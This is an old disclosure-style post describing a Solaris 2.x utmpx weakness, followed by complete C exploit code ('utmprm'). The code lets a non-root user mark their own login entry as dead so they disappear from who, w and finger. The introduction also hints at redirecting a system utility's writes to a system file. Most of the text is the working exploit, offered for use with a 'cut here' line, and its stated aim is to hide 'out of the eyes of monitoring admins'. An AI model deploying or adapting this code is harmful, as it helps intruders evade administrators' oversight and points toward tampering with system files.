The following is somewhat of a security hole in Solaris 2.x which allows any non-root user to remove themselves from /var/adm/utmp[x] files (who, w, finger, etc). Now the trick here is also to exploit this enough so that you can change your ttyname (which can easily be done) and manipulate a system utility into writing to that new ttyname (which could be a system file). This example only takes you out of the utmp files. -------->8 Cut here for exploit code 8<-------- /* * utmprm (version 1.0) * * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com) * * This material is copyrighted by Scott Chasin, 1994, 1995. The * usual standard disclaimer applies, especially the fact that the * author is not liable for any damages caused by direct or indirect * use of the information or functionality provided by this program. */ /* utmprm takes advantage of a Solaris 2.x utmpx system call that * allows any user to remove themselves from the corresponding * utmp files and partly out of the eyes of monitoring admins. */ #include <stdio.h> #include <pwd.h> #include <utmpx.h> char *strchr(), *strdup(), *ttyname(), *getlogin(); main (argc, argv) int argc; char **argv; { uid_t ruid, getuid(); char *ttyn, *tty, *username; struct passwd *pwd; /* Grab our ttyname */ ttyn = ttyname(0); if (ttyn == NULL || *ttyn == '\0') { fprintf (stderr, "utmprm: where are you?\n"); exit (1); } if (tty = strchr (ttyn + 1, '/')) ++tty; else tty = ttyn; /* Grab our login name */ ruid = getuid (); username = getlogin (); if (username == NULL || (pwd = getpwnam (username)) == NULL || pwd->pw_uid != ruid) pwd = getpwuid (ruid); if (pwd == NULL) { fprintf (stderr, "utmprm: who are you?\n"); exit (1); } username = strdup (pwd->pw_name); utmpx_delete (username, tty); } utmpx_delete (user, line) char *user; char *line; { struct utmpx utx; struct utmpx *ut; /* Let's build a utmpx structure that looks like * our entries profile. */ strncpy (utx.ut_line, line, sizeof (utx.ut_line)); strncpy (utx.ut_user, user, sizeof (utx.ut_user)); /* We use getutxline to search /var/adm/utmpx for our * entry. */ if ((ut = getutxline (&utx)) == 0) printf ("utmprm: entry not found for %s (%s)\n", user, line); else { /* We have found our utmp entry. Now lets change * our status to that of a DEAD_PROCESS. */ ut->ut_type = DEAD_PROCESS; ut->ut_exit.e_termination = 0; ut->ut_exit.e_exit = 0; gettimeofday (&(ut->ut_tv)); /* Using pututxline as a normal user, we take advantage * of the fact that it calls a setuid system call to * modify the utmpx entry we just build. The only check * that pututxline has is that the login name in the utmpx * entry must match that of the caller's and that the * utmpx device entry is a real device writable by the * caller. */ pututxline (ut); printf ("utmprm: %s (%s) removed.\n", user, line); } endutxent (); }